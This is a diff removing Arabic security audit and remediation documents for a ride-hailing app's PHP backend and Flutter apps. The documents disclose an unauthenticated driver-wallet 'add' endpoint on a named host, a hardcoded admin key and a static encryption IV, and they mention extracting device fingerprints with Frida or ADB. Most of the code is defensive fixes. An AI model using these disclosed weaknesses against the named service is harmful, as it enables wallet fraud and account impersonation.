||||||
---
|
|
||||||
|
|
||||||
## 📈 مقاييس النجاح
|
|
||||||
|
|
||||||
### بعد المرحلة 1 (اليوم 2)
|
|
||||||
- [ ] يستخدم جميع التشفير IV عشوائي
|
|
||||||
- [ ] جميع نقاط نهاية المحفظة تتطلب مصادقة
|
|
||||||
- [ ] 0 معاملة غير مصرح بها
|
|
||||||
- [ ] لا توجد كشف معلومات الخطأ في الردود
|
|
||||||
|
|
||||||
### بعد المرحلة 2 (الأسبوع 1)
|
|
||||||
- [ ] MFA مفعل لجميع المستخدمين
|
|
||||||
- [ ] جميع نقاط نهاية المقابس تستخدم HTTPS
|
|
||||||
- [ ] جميع استعلامات SQL محددة المعاملات
|
|
||||||
- [ ] تم تحديث تطبيقات Flutter
|
|
||||||
|
|
||||||
### بعد المرحلة 3 (الأسبوع 4)
|
|
||||||
- [ ] تحديد السعر على جميع نقاط النهاية
|
|
||||||
- [ ] تم التحقق من توكنات JWT بشكل صحيح
|
|
||||||
- [ ] تم تسجيل جميع العمليات الحساسة
|
|
||||||
- [ ] المراقبة الأمنية نشطة
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 💰 التبرير المالي
|
|
||||||
|
|
||||||
### تكلفة الإصلاحات
|
|
||||||
- المرحلة 1-3: 17,000-26,000 دولار
|
|
||||||
- المراقبة المستمرة: ~2,000 دولار/شهر
|
|
||||||
|
|
||||||
### تكلفة عدم الإصلاح
|
|
||||||
- حادثة احتيال واحدة: 1,000,000 دولار+
|
|
||||||
- غرامات خرق البيانات (GDPR): 20,000,000 يورو
|
|
||||||
- الضرر اللاحق بالسمعة: لا يقدر بثمن
|
|
||||||
|
|
||||||
### تحليل العائد على الاستثمار
|
|
||||||
**التقدير المحافظ:**
|
|
||||||
- تكلفة الإصلاح: 20,000 دولار
|
|
||||||
- منع الاحتيال: 1,000,000 دولار
|
|
||||||
- العائد على الاستثمار: 4,900% (يتحقق التعادل في أيام)
|
|
||||||
|
|
||||||
**السيناريو الواقعي:**
|
|
||||||
- تكلفة الإصلاح: 20,000 دولار
|
|
||||||
- منع الاحتيال: 1,000,000 دولار
|
|
||||||
- تجنب غرامات الامتثال: 5,000,000 يورو+
|
|
||||||
- العائد على الاستثمار: 25,000%+ (يتحقق التعادل في ساعات)
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 🔗 ملاحة المستند
|
|
||||||
|
|
||||||
```
|
|
||||||
ابدأ من هنا → README_SECURITY_AUDIT_AR.md (أنت هنا)
|
|
||||||
↓
|
|
||||||
اختر حسب الدور:
|
|
||||||
├─→ المديرون التنفيذيون → FINAL_REPORT_AR.md (الأقسام 1 و 5 و 10)
|
|
||||||
├─→ المطورون → PHASE2_POC_AR.md (إصلاحات الأكواد)
|
|
||||||
├─→ الأمان → جميع المستندات
|
|
||||||
├─→ QA/DevOps → CHECKLIST_AR.md + PHASE2_POC_AR.md
|
|
||||||
└─→ الجميع → INDEX_AR.md (دليل الملاحة)
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 📞 الاتصال والدعم
|
|
||||||
|
|
||||||
### أسئلة تقنية
|
|
||||||
- **المستند:** PHASE2_POC_AR.md أو FINAL_REPORT_AR.md
|
|
||||||
- **مراجعة الكود:** تواصل مع فريق الأمان
|
|
||||||
- **وقت الحل:** خلال 4 ساعات عمل
|
|
||||||
|
|
||||||
### دعم التنفيذ
|
|
||||||
- **النشر:** استخدم CHECKLIST_AR.md
|
|
||||||
- **الاختبار:** استخدم أقسام التحقق في PHASE2_POC_AR.md
|
|
||||||
- **المراقبة:** انظر FINAL_REPORT_AR.md القسم 9
|
|
||||||
|
|
||||||
### أسئلة الامتثال
|
|
||||||
- **GDPR/CCPA:** انظر FINAL_REPORT_AR.md القسم 7
|
|
||||||
- **PCI-DSS:** انظر FINAL_REPORT_AR.md القسم 7
|
|
||||||
- **قانوني:** استشر مسؤول الامتثال
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 📅 التواريخ المهمة
|
|
||||||
|
|
||||||
| التاريخ | الحدث | الإجراء |
|
|
||||||
|--------|------|--------|
|
|
||||||
| 16 يونيو 2026 | التدقيق مكتمل | راجع المستندات |
|
|
||||||
| 17 يونيو 2026 | المراجعة التنفيذية | وافق على الخطة |
|
|
||||||
| 17 يونيو 2026 | بدء المرحلة 1 | ابدأ البرمجة |
|
|
||||||
| 18 يونيو 2026 | انتهاء المرحلة 1 | انشر الإصلاحات الطارئة |
|
|
||||||
| 19 يونيو 2026 | بدء المرحلة 2 | تقسية قصيرة الأجل |
|
|
||||||
| 23 يونيو 2026 | انتهاء المرحلة 2 | انشر جميع الإصلاحات العالية |
|
|
||||||
| 24 يونيو 2026 | بدء المرحلة 3 | إصلاحات متوسطة الأجل |
|
|
||||||
| 7 يوليو 2026 | انتهاء المرحلة 3 | اكتمال جميع الإصلاحات |
|
|
||||||
| 15 يوليو 2026 | تدقيق المتابعة | التحقق من الإصلاحات |
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## ✨ الإنجازات الرئيسية
|
|
||||||
|
|
||||||
✅ تدقيق شامل لـ 395 ملف PHP
|
|
||||||
✅ تحليل 4 تطبيقات Flutter
|
|
||||||
✅ تحديد 20 ثغرة وتوثيقها
|
|
||||||
✅ إنشاء 7 اثباتات مفهوم
|
|
||||||
✅ توفير خارطة طريق إصحاح شاملة
|
|
||||||
✅ حساب تقديرات التكاليف
|
|
||||||
✅ تقييم الآثار المترتبة على الامتثال
|
|
||||||
✅ تحديد أفضل الممارسات الأمنية
|
|
||||||
✅ إعداد قوائم التحقق من النشر
|
|
||||||
✅ إنشاء ملخص تنفيذي
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 🚀 الخطوات التالية (اليوم)
|
|
||||||
|
|
||||||
1. **الساعة 0:** اقرأ هذا المستند (5 دقائق)
|
|
||||||
2. **الساعة 0:** راجع ملخص FINAL_REPORT_AR.md التنفيذي (10 دقائق)
|
|
||||||
3. **الساعة 1:** قرار المديرين والموافقة (30 دقيقة)
|
|
||||||
4. **الساعة 1:** إخطار فريق التطوير (15 دقيقة)
|
|
||||||
5. **الساعة 2:** تعيين المطورين للمرحلة 1 (30 دقيقة)
|
|
||||||
6. **الساعة 3:** بدء تطبيق المرحلة 1 (ابدأ الآن)
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 📊 إحصائيات التدقيق
|
|
||||||
|
|
||||||
| المقياس | القيمة |
|
|
||||||
|---------|--------|
|
|
||||||
| مدة التدقيق | يوم واحد |
|
|
||||||
| الملفات المحللة | 395+ |
|
|
||||||
| التطبيقات المراجعة | 4 |
|
|
||||||
| الثغرات الموجودة | 20 |
|
|
||||||
| الثغرات الحرجة | 3 |
|
|
||||||
| الثغرات العالية | 7 |
|
|
||||||
| الثغرات المتوسطة | 10 |
|
|
||||||
| اثباتات المفاهيم | 7 |
|
|
||||||
| أمثلة الأكواد | 40+ |
|
|
||||||
| سيناريوهات الهجوم | 7 |
|
|
||||||
| صفحات التوثيق | 50+ |
|
|
||||||
| حجم التوثيق | 49 كيلوبايت |
|
|
||||||
| المستخدمون المعرضون للخطر | 50,000+ |
|
|
||||||
| المخاطر المالية | 1,000,000 دولار+ |
|
|
||||||
| مخاطر الامتثال | 20,000,000 يورو+ |
|
|
||||||
| العائد على الاستثمار | 4,900%+ |
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 🎓 نتائج التعلم
|
|
||||||
|
|
||||||
بعد تطبيق هذه الإصلاحات، سيفهم فريقك:
|
|
||||||
- ✅ أفضل الممارسات في التشفير
|
|
||||||
- ✅ مصادقة JWT
|
|
||||||
- ✅ الأنظمة الآمنة للدفع
|
|
||||||
- ✅ استخدام الاستعلامات المحضرة
|
|
||||||
- ✅ تطوير تطبيقات الهاتف الآمنة
|
|
||||||
- ✅ إرشادات OWASP الأمنية
|
|
||||||
- ✅ مراجعات الكود الأمنية
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 📝 إصدارات المستند
|
|
||||||
|
|
||||||
| الإصدار | التاريخ | الحالة |
|
|
||||||
|---------|--------|-------|
|
|
||||||
| 1.0 | 16 يونيو 2026 | ✅ نهائي |
|
|
||||||
| 1.1 | في انتظار | قيد الانتظار بعد المرحلة 1 |
|
|
||||||
| 2.0 | 15 يوليو 2026 | تدقيق المتابعة |
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## ✅ التوقيع على التدقيق
|
|
||||||
|
|
||||||
**حالة التدقيق:** ✅ **مكتمل**
|
|
||||||
|
|
||||||
**تمت المراجعة بواسطة:**
|
|
||||||
- [ ] رئيس الأمان: __________ التاريخ: __________
|
|
||||||
- [ ] رئيس التقنيات: __________ التاريخ: __________
|
|
||||||
- [ ] مدير المشروع: __________ التاريخ: __________
|
|
||||||
- [ ] رئيس التقنيات: __________ التاريخ: __________
|
|
||||||
|
|
||||||
**الموافقة على الإصحاح:**
|
|
||||||
- [ ] الراعي التنفيذي: __________ التاريخ: __________
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
**تم إكمال تدقيق الأمان الشامل**
|
|
||||||
**المُنتج:** 16 يونيو 2026
|
|
||||||
**التصنيف:** 🔐 سري - للاستخدام الداخلي فقط
|
|
||||||
|
|
||||||
</div>
|
|
||||||
@@ -1,601 +0,0 @@
|
|||||||
# دليل الإصلاحات الشامل - مشروع سيرو
|
|
||||||
|
|
||||||
**التاريخ:** 16 يونيو 2026
|
|
||||||
**المرحلة:** التطبيق العملي للإصلاحات
|
|
||||||
**الحالة:** قيد التطوير
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## النقطة 1️⃣: مشكلة البصمة الضعيفة (Weak Fingerprint Authentication)
|
|
||||||
|
|
||||||
### الملفات المتأثرة:
|
|
||||||
|
|
||||||
- `backend/login.php` (الراكب)
|
|
||||||
- `backend/loginJwtDriver.php` (السائق)
|
|
||||||
|
|
||||||
### المشكلة الحقيقية:
|
|
||||||
|
|
||||||
```php
|
|
||||||
// ❌ الحالة الحالية في login.php
|
|
||||||
$fpVerified = hash_equals($storedFp, $fingerprint);
|
|
||||||
// ✅ يحمي من timing attacks فقط
|
|
||||||
// ⚠️ لكن البصمة نفسها ضعيفة وقابلة للاستخراج
|
|
||||||
```
|
|
||||||
|
|
||||||
**لماذا ضعيفة؟**
|
|
||||||
|
|
||||||
- البصمة مستخرجة من جهاز المستخدم (ANDROID_ID + IMEI + MAC + Build.MODEL)
|
|
||||||
- يمكن استخراجها عبر:
|
|
||||||
- Frida/Objection أثناء التطبيق
|
|
||||||
- ADB إذا كان USB debugging مفعل
|
|
||||||
- مفاتيح الجهاز المُخزنة
|
|
||||||
- بمجرد استخراج البصمة، يمكن تزويرها بنسخ نفس القيمة
|
|
||||||
|
|
||||||
### الحل: تطبيق MFA (Multi-Factor Authentication)
|
|
||||||
|
|
||||||
**المتطلبات:**
|
|
||||||
|
|
||||||
```
|
|
||||||
عامل 1: بصمة الجهاز (الحالي) ✅
|
|
||||||
عامل 2: OTP عبر SMS ← أضف هذا
|
|
||||||
عامل 3: رمز الخادم (Server Token) ← أضف هذا
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## النقطة 2️⃣: مشكلة التشفير - IV الثابت
|
|
||||||
|
|
||||||
### الملف المتأثر:
|
|
||||||
|
|
||||||
- `backend/encrypt_decrypt.php` (الأساسي)
|
|
||||||
|
|
||||||
### المشكلة الفعلية:
|
|
||||||
|
|
||||||
```php
|
|
||||||
// ❌ المشكلة الحرجة جداً
|
|
||||||
$iv = getenv('initializationVector'); // 16 بايت ثابت!
|
|
||||||
|
|
||||||
public function encryptData($plainText) {
|
|
||||||
$plainText = mb_convert_encoding($plainText, 'UTF-8');
|
|
||||||
$paddedText = $this->addPadding($plainText);
|
|
||||||
$encrypted = openssl_encrypt($paddedText, 'AES-256-CBC',
|
|
||||||
$this->key, OPENSSL_RAW_DATA, $this->iv);
|
|
||||||
// ↑ نفس IV في كل مرة = نفس ciphertext لنفس plaintext!
|
|
||||||
return base64_encode($encrypted);
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
**مثال عملي:**
|
|
||||||
|
|
||||||
```
|
|
||||||
التشفير الأول: "+20123456789" → "abc123xyz=="
|
|
||||||
التشفير الثاني: "+20123456789" → "abc123xyz==" (متطابق!)
|
|
||||||
⚠️ هجوم معروف - يمكن كسر التشفير تماماً
|
|
||||||
```
|
|
||||||
|
|
||||||
### الحل: توليد IV عشوائي
|
|
||||||
|
|
||||||
```php
|
|
||||||
✅ الحل الصحيح:
|
|
||||||
|
|
||||||
public function encryptData($plainText) {
|
|
||||||
$plainText = mb_convert_encoding($plainText, 'UTF-8');
|
|
||||||
$paddedText = $this->addPadding($plainText);
|
|
||||||
|
|
||||||
// توليد IV عشوائي لكل تشفير
|
|
||||||
$randomIV = openssl_random_pseudo_bytes(16);
|
|
||||||
|
|
||||||
$encrypted = openssl_encrypt($paddedText, 'AES-256-CBC',
|
|
||||||
$this->key, OPENSSL_RAW_DATA, $randomIV);
|
|
||||||
|
|
||||||
// ضمّ IV مع النص المشفر
|
|
||||||
$result = $randomIV . $encrypted;
|
|
||||||
|
|
||||||
return base64_encode($result);
|
|
||||||
}
|
|
||||||
|
|
||||||
public function decryptData($encryptedData) {
|
|
||||||
$encrypted = base64_decode($encryptedData);
|
|
||||||
|
|
||||||
// استخرج IV من أول 16 بايت
|
|
||||||
$iv = substr($encrypted, 0, 16);
|
|
||||||
$ciphertext = substr($encrypted, 16);
|
|
||||||
|
|
||||||
$decrypted = openssl_decrypt($ciphertext, 'AES-256-CBC',
|
|
||||||
$this->key, OPENSSL_RAW_DATA, $iv);
|
|
||||||
|
|
||||||
return $this->removePadding($decrypted);
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
**الخطوات:**
|
|
||||||
|
|
||||||
1. توليد 16 بايت عشوائية → `openssl_random_pseudo_bytes(16)`
|
|
||||||
2. تشفير البيانات بـ IV العشوائي
|
|
||||||
3. ضمّ IV + Ciphertext
|
|
||||||
4. تحويل إلى base64
|
|
||||||
5. عند فك التشفير: استخرج IV + Ciphertext وفك التشفير
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## النقطة 3️⃣: SQL Injection - الحالة الحالية وضح!
|
|
||||||
|
|
||||||
### الملف المتأثر:
|
|
||||||
|
|
||||||
- `backend/functions.php` (في `findBestDrivers()`)
|
|
||||||
|
|
||||||
### الحالة الحالية - ممتازة ✅
|
|
||||||
|
|
||||||
```php
|
|
||||||
// ✅ هذا الكود **آمن تماماً** من SQL Injection
|
|
||||||
$carType = trim($carType);
|
|
||||||
$allowedCarTypes = [
|
|
||||||
'Comfort', 'Mishwar Vip', 'Scooter', 'Pink Bike',
|
|
||||||
'Electric', 'Lady', 'Van', 'Awfar Car', 'Fixed Price',
|
|
||||||
'Speed', 'Rayeh Gai'
|
|
||||||
];
|
|
||||||
|
|
||||||
// ✅ استخدام Allowlist (أفضل طريقة)
|
|
||||||
if (!in_array($carType, $allowedCarTypes, true)) {
|
|
||||||
$carType = 'Speed';
|
|
||||||
}
|
|
||||||
|
|
||||||
// ✅ معاملات SQL آمنة
|
|
||||||
$stmt = $con->prepare($sql);
|
|
||||||
$stmt->execute($allParams);
|
|
||||||
```
|
|
||||||
|
|
||||||
### لماذا هذا آمن؟
|
|
||||||
|
|
||||||
1. **Allowlist:** قائمة بيضاء للقيم المسموحة فقط
|
|
||||||
2. **Prepared Statements:** معاملات آمنة
|
|
||||||
3. **Type Strict (`true`):** التحقق الدقيق (`in_array(..., true)`)
|
|
||||||
|
|
||||||
### المشاكل المتبقية:
|
|
||||||
|
|
||||||
**نقاط أخرى قد تحتاج فحص:**
|
|
||||||
|
|
||||||
- `/backend/auth/` - هل تستخدم prepared statements؟
|
|
||||||
- `/backend/ride/` - هل جميع الاستعلامات آمنة؟
|
|
||||||
- `/walletintaleq.intaleq.xyz/v2/main/` - **حرج! تحتاج فحص كامل**
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## النقطة 4️⃣: نظام المحفظة - أهم نقطة 🔴
|
|
||||||
|
|
||||||
### الملفات المتأثرة:
|
|
||||||
|
|
||||||
```
|
|
||||||
/walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/
|
|
||||||
├── add.php ..................... 🔴 حرج - بلا مصادقة
|
|
||||||
├── transfer.php ............... ⚠️ عالي
|
|
||||||
├── update.php ................. ⚠️ عالي
|
|
||||||
├── addFromAdmin.php ........... 🔴 حرج - مفتاح API ثابت
|
|
||||||
├── get.php .................... ⚠️ عالي
|
|
||||||
├── getWalletByDriver.php ...... ⚠️ عالي
|
|
||||||
└── getDriverDetails.php ....... ⚠️ عالي
|
|
||||||
```
|
|
||||||
|
|
||||||
### الفهم الحالي:
|
|
||||||
|
|
||||||
```
|
|
||||||
تطبيق السائق
|
|
||||||
↓
|
|
||||||
POST /add ← يضيف الأموال
|
|
||||||
↓
|
|
||||||
/walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/add.php
|
|
||||||
↓
|
|
||||||
← لا يوجد مصادقة! ❌
|
|
||||||
```
|
|
||||||
|
|
||||||
### الحل المقترح: (S2S - Server to Server)
|
|
||||||
|
|
||||||
```
|
|
||||||
تطبيق السائق
|
|
||||||
↓
|
|
||||||
POST /wallet/add (مع JWT توكن)
|
|
||||||
↓
|
|
||||||
BACKEND SERVER (backend/wallet/) ← نقطة جديدة
|
|
||||||
↓
|
|
||||||
• التحقق من JWT ✅
|
|
||||||
• فحص الملكية ✅
|
|
||||||
• التحقق من المبلغ ✅
|
|
||||||
↓
|
|
||||||
POST /v2/main/ride/driverWallet/add
|
|
||||||
(مع توقيع HMAC-SHA256)
|
|
||||||
↓
|
|
||||||
WalletIntaleq Server
|
|
||||||
↓
|
|
||||||
• التحقق من التوقيع ✅
|
|
||||||
• تنفيذ العملية ✅
|
|
||||||
• تسجيل دقيق ✅
|
|
||||||
```
|
|
||||||
|
|
||||||
### الخطوات العملية:
|
|
||||||
|
|
||||||
#### 1️⃣ إنشاء endpoint في Backend
|
|
||||||
|
|
||||||
```php
|
|
||||||
// backend/wallet/add.php (جديد)
|
|
||||||
|
|
||||||
require_once __DIR__ . '/../core/bootstrap.php';
|
|
||||||
|
|
||||||
function requireAuth() {
|
|
||||||
$headers = getallheaders();
|
|
||||||
$authHeader = $headers['Authorization'] ?? '';
|
|
||||||
|
|
||||||
if (!preg_match('/Bearer\s+(\S+)/', $authHeader, $matches)) {
|
|
||||||
http_response_code(401);
|
|
||||||
jsonError('Authentication required');
|
|
||||||
}
|
|
||||||
|
|
||||||
$token = $matches[1];
|
|
||||||
$jwtService = new JwtService($redis);
|
|
||||||
|
|
||||||
try {
|
|
||||||
$decoded = $jwtService->verifyAccessToken($token);
|
|
||||||
return $decoded;
|
|
||||||
} catch (Exception $e) {
|
|
||||||
http_response_code(401);
|
|
||||||
jsonError('Invalid token');
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
|
||||||
$user = requireAuth(); // JWT verification
|
|
||||||
|
|
||||||
// التحقق من الدور (التفويض)
|
|
||||||
if ($user->role !== 'driver') {
|
|
||||||
http_response_code(403);
|
|
||||||
jsonError('Permission denied');
|
|
||||||
}
|
|
||||||
|
|
||||||
$driverID = $user->id;
|
|
||||||
$amount = floatval(filterRequest('amount'));
|
|
||||||
$source = filterRequest('source');
|
|
||||||
|
|
||||||
// التحقق من المبلغ
|
|
||||||
if ($amount <= 0 || $amount > 10000) {
|
|
||||||
jsonError('Invalid amount (max 10,000)', 400);
|
|
||||||
}
|
|
||||||
|
|
||||||
// تحديد السرعة
|
|
||||||
$limiter = new RateLimiter($redis);
|
|
||||||
$limiter->enforce("wallet_add_{$driverID}", 'add', 1, 60); // 1 request per 60 seconds
|
|
||||||
|
|
||||||
// تسجيل التدقيق
|
|
||||||
$auditLog = "Driver {$driverID} requested to add {$amount} from {$source}";
|
|
||||||
securityLog($auditLog);
|
|
||||||
|
|
||||||
// الاتصال بـ WalletIntaleq عبر S2S
|
|
||||||
$walletResponse = callWalletAPI('add', [
|
|
||||||
'driver_id' => $driverID,
|
|
||||||
'amount' => $amount,
|
|
||||||
'source' => $source,
|
|
||||||
'backend_request' => true,
|
|
||||||
]);
|
|
||||||
|
|
||||||
if ($walletResponse['status'] === 'success') {
|
|
||||||
jsonSuccess(['message' => 'تمت إضافة الأموال بنجاح']);
|
|
||||||
} else {
|
|
||||||
jsonError('Wallet operation failed', 500);
|
|
||||||
}
|
|
||||||
|
|
||||||
} catch (Exception $e) {
|
|
||||||
securityLog("Wallet add error: " . $e->getMessage());
|
|
||||||
jsonError('Internal error', 500);
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
#### 2️⃣ دالة S2S API call آمنة
|
|
||||||
|
|
||||||
```php
|
|
||||||
// backend/core/WalletConnector.php (جديد)
|
|
||||||
|
|
||||||
class WalletConnector {
|
|
||||||
private $walletUrl = 'https://walletintaleq.intaleq.xyz/v2/main/';
|
|
||||||
private $hmacSecret = null;
|
|
||||||
|
|
||||||
public function __construct() {
|
|
||||||
$this->hmacSecret = getenv('WALLET_HMAC_SECRET');
|
|
||||||
if (!$this->hmacSecret) {
|
|
||||||
throw new Exception("WALLET_HMAC_SECRET not configured");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public function call($endpoint, $data) {
|
|
||||||
// إضافة timestamp لمنع Replay Attacks
|
|
||||||
$data['timestamp'] = time();
|
|
||||||
$data['nonce'] = bin2hex(random_bytes(16));
|
|
||||||
|
|
||||||
// فرز البيانات وإنشاء signature
|
|
||||||
ksort($data);
|
|
||||||
$payload = json_encode($data);
|
|
||||||
$signature = hash_hmac('sha256', $payload, $this->hmacSecret);
|
|
||||||
|
|
||||||
// إرسال الطلب
|
|
||||||
$ch = curl_init();
|
|
||||||
curl_setopt_array($ch, [
|
|
||||||
CURLOPT_URL => $this->walletUrl . $endpoint,
|
|
||||||
CURLOPT_POST => true,
|
|
||||||
CURLOPT_POSTFIELDS => $payload,
|
|
||||||
CURLOPT_RETURNTRANSFER => true,
|
|
||||||
CURLOPT_HTTPHEADER => [
|
|
||||||
'Content-Type: application/json',
|
|
||||||
'X-Signature: ' . $signature,
|
|
||||||
'X-Timestamp: ' . $data['timestamp'],
|
|
||||||
'X-Backend-ID: ' . getenv('BACKEND_ID'),
|
|
||||||
],
|
|
||||||
CURLOPT_SSL_VERIFYPEER => true,
|
|
||||||
CURLOPT_SSL_VERIFYHOST => 2,
|
|
||||||
CURLOPT_TIMEOUT => 10,
|
|
||||||
]);
|
|
||||||
|
|
||||||
$response = curl_exec($ch);
|
|
||||||
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
|
|
||||||
curl_close($ch);
|
|
||||||
|
|
||||||
// التحقق من الاستجابة
|
|
||||||
$decoded = json_decode($response, true);
|
|
||||||
if ($httpCode !== 200 || $decoded['status'] !== 'success') {
|
|
||||||
throw new Exception("Wallet API error: " . $response);
|
|
||||||
}
|
|
||||||
|
|
||||||
return $decoded;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
#### 3️⃣ تعديل WalletIntaleq
|
|
||||||
|
|
||||||
```php
|
|
||||||
// walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/add.php
|
|
||||||
|
|
||||||
<?php
|
|
||||||
// ✅ الآن يتلقى طلبات من Backend فقط
|
|
||||||
|
|
||||||
require_once __DIR__ . '/../../../core/bootstrap.php';
|
|
||||||
|
|
||||||
header('Content-Type: application/json');
|
|
||||||
|
|
||||||
try {
|
|
||||||
// الحصول على البيانات المرسلة
|
|
||||||
$payload = file_get_contents('php://input');
|
|
||||||
$data = json_decode($payload, true);
|
|
||||||
|
|
||||||
// التحقق من التوقيع (HMAC)
|
|
||||||
$signature = $_SERVER['HTTP_X_SIGNATURE'] ?? '';
|
|
||||||
$expectedSignature = hash_hmac('sha256', $payload, getenv('WALLET_HMAC_SECRET'));
|
|
||||||
|
|
||||||
if (!hash_equals($signature, $expectedSignature)) {
|
|
||||||
http_response_code(401);
|
|
||||||
jsonError('Invalid signature');
|
|
||||||
}
|
|
||||||
|
|
||||||
// التحقق من الـ Timestamp (Replay Attack Prevention)
|
|
||||||
$timestamp = $_SERVER['HTTP_X_TIMESTAMP'] ?? 0;
|
|
||||||
if (abs(time() - $timestamp) > 300) { // 5 دقائق
|
|
||||||
http_response_code(401);
|
|
||||||
jsonError('Request expired');
|
|
||||||
}
|
|
||||||
|
|
||||||
// الآن آمن - نفذ العملية
|
|
||||||
$driverID = $data['driver_id'];
|
|
||||||
$amount = $data['amount'];
|
|
||||||
$source = $data['source'];
|
|
||||||
|
|
||||||
// أضف إلى قاعدة البيانات
|
|
||||||
$stmt = $con->prepare(
|
|
||||||
"INSERT INTO driverWallet (driver_id, amount, source, created_at, updated_at)
|
|
||||||
VALUES (?, ?, ?, NOW(), NOW())"
|
|
||||||
);
|
|
||||||
$stmt->execute([$driverID, $amount, $source]);
|
|
||||||
|
|
||||||
// تسجيل التدقيق
|
|
||||||
securityLog("Wallet added: Driver $driverID, Amount $amount from $source");
|
|
||||||
|
|
||||||
jsonSuccess(['message' => 'Added successfully']);
|
|
||||||
|
|
||||||
} catch (Exception $e) {
|
|
||||||
securityLog("Wallet error: " . $e->getMessage());
|
|
||||||
jsonError('Internal error', 500);
|
|
||||||
}
|
|
||||||
?>
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## النقطة 5️⃣: أمان تطبيقات الهاتف - الأذونات
|
|
||||||
|
|
||||||
### الملف المتأثر:
|
|
||||||
|
|
||||||
- `siro_driver/android/app/src/main/AndroidManifest.xml`
|
|
||||||
|
|
||||||
### الأذونات الحالية:
|
|
||||||
|
|
||||||
```xml
|
|
||||||
<!-- ✅ ضرورية لتطبيق السائق -->
|
|
||||||
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
|
|
||||||
<uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
|
|
||||||
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
|
|
||||||
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_LOCATION" />
|
|
||||||
|
|
||||||
<!-- ⚠️ تحتاج فحص -->
|
|
||||||
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
|
|
||||||
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
|
|
||||||
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
|
|
||||||
<uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS" />
|
|
||||||
|
|
||||||
<!-- ✅ ضرورية للاتصالات -->
|
|
||||||
<uses-permission android:name="android.permission.CAMERA" />
|
|
||||||
<uses-permission android:name="android.permission.RECORD_AUDIO" />
|
|
||||||
```
|
|
||||||
|
|
||||||
### الفحص المطلوب:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
1. بحث في codebase تطبيق السائق:
|
|
||||||
grep -r "getExternalFilesDir\|getExternalCacheDir\|Environment.getExternalStorageDirectory" .
|
|
||||||
|
|
||||||
إذا لم تظهر نتائج → احذف WRITE/READ_EXTERNAL_STORAGE
|
|
||||||
|
|
||||||
2. بحث عن SYSTEM_ALERT_WINDOW:
|
|
||||||
grep -r "TYPE_APPLICATION_OVERLAY\|canDrawOverlays" .
|
|
||||||
|
|
||||||
إذا لم تظهر → احذفها
|
|
||||||
|
|
||||||
3. بحث عن MODIFY_AUDIO_SETTINGS:
|
|
||||||
grep -r "setVolume\|adjustStreamVolume" .
|
|
||||||
|
|
||||||
إذا لم تظهر → احذفها
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## النقطة 6️⃣: load_env.php - تحميل آمن للمتغيرات
|
|
||||||
|
|
||||||
### الملف:
|
|
||||||
|
|
||||||
- `backend/load_env.php`
|
|
||||||
|
|
||||||
### الحالة الحالية:
|
|
||||||
|
|
||||||
```php
|
|
||||||
<?php
|
|
||||||
function loadEnvironment($env_file) {
|
|
||||||
if (!file_exists($env_file)) {
|
|
||||||
error_log("❌ .env not found: $env_file");
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
$lines = file($env_file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
|
|
||||||
foreach ($lines as $line) {
|
|
||||||
$line = trim($line);
|
|
||||||
if (empty($line) || strpos($line, '#') === 0) continue;
|
|
||||||
|
|
||||||
$parts = explode('=', $line, 2);
|
|
||||||
if (count($parts) === 2) {
|
|
||||||
[$keyName, $value] = $parts;
|
|
||||||
$value = trim($value, "\"'");
|
|
||||||
putenv("$keyName=$value");
|
|
||||||
$_ENV[$keyName] = $value;
|
|
||||||
$_SERVER[$keyName] = $value;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
### القوة الأمنية:
|
|
||||||
|
|
||||||
✅ **جيد جداً:**
|
|
||||||
|
|
||||||
1. يتحقق من وجود الملف
|
|
||||||
2. يتجاهل التعليقات (#)
|
|
||||||
3. يتجاهل الأسطر الفارغة
|
|
||||||
4. يزيل علامات الاقتباس
|
|
||||||
5. يحمل في `$_ENV` و `$_SERVER`
|
|
||||||
|
|
||||||
### الطريقة الموصى بها (Composer autoload):
|
|
||||||
|
|
||||||
```json
|
|
||||||
// composer.json - الأفضل
|
|
||||||
|
|
||||||
"autoload": {
|
|
||||||
"files": ["src/bootstrap.php"]
